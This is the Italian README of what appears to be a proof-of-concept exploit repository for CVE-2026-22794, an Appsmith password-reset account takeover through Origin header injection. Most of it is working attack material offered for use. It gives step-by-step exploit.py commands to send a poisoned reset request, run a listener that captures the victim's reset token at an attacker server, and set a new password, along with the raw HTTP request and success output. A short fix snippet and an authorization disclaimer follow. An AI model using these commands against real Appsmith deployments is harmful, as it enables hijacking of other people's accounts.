
🔴 CVE-2026-22794 - Appsmith Password Reset Account Takeover via Origin Header Injection | PoC Exploit + Nuclei Template
Dirottamento del Link di Reset Password tramite Manipolazione dell'Header Origin
Questo repository contiene una Proof of Concept (PoC) per CVE-2026-22794, una vulnerabilità critica in Appsmith che consente agli attaccanti di dirottare i token di reset password e ottenere il pieno controllo dell'account.
| Campo | Valore |
|---|
| ID CVE | CVE-2026-22794 |
| Software Interessato | Appsmith (versioni precedenti alla patch) |
| Tipo di Vulnerabilità | Iniezione dell'Header Origin |
| Impatto | Pieno Controllo dell'Account |
| Punteggio CVSS | 9.1 (Critico) |
| Vettore di Attacco | Rete |
| Complessità dell'Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione dell'Utente | Richiesta (la vittima clicca sul link) |
Appsmith utilizza l'header HTTP Origin senza validazione per costruire gli URL di reset password e verifica email. Il codice vulnerabile assegna direttamente l'header Origin all'URL base di reset password:
userPasswordDTO.setBaseUrl(originHeader);
Questo consente a un attaccante di:
┌─────────────────────────────────────────────────────────────────┐
│ FLUSSO DELL'ATTACCO │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ATTACCANTE│ │ APPSMITH │ │ VITTIMA │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Invio email con │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. La vittima clicca sul link │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Token catturato! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. CONTROLLO DELL'ACCOUNT! ✓ │ │
│ │ │
# Clona il repository
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Installa le dipendenze
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Link di Reset Password: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] RICHIESTA IN ARRIVO CATTURATA!
[*] Percorso: /user/resetPassword?token=abc123xyz789...
[!!!] TOKEN DI RESET PASSWORD CATTURATO!
[!!!] Token: abc123xyz789...
[+] CONTROLLO DELL'ACCOUNT RIUSCITO!
[+] La password è stata resettata a: NewP@ssw0rd!
Le organizzazioni che utilizzano Appsmith dovrebbero:
// ❌ CODICE VULNERABILE
userPasswordDTO.setBaseUrl(originHeader);
// ✅ CODICE SICURO
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Oppure validare contro la whitelist
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Header origin non valido");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # Questo file
├── exploit.py # Script exploit principale
├── requirements.txt # Dipendenze Python
├── LICENSE # Licenza MIT
└── docs/
└── technical_analysis.md # Analisi tecnica dettagliata della vulnerabilità
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
Ricercatore di Sicurezza
Questo progetto è concesso in licenza sotto la Licenza MIT - consultare il file LICENSE per i dettagli.
⭐ Se hai trovato utile questo strumento, metti una stella al repository! ⭐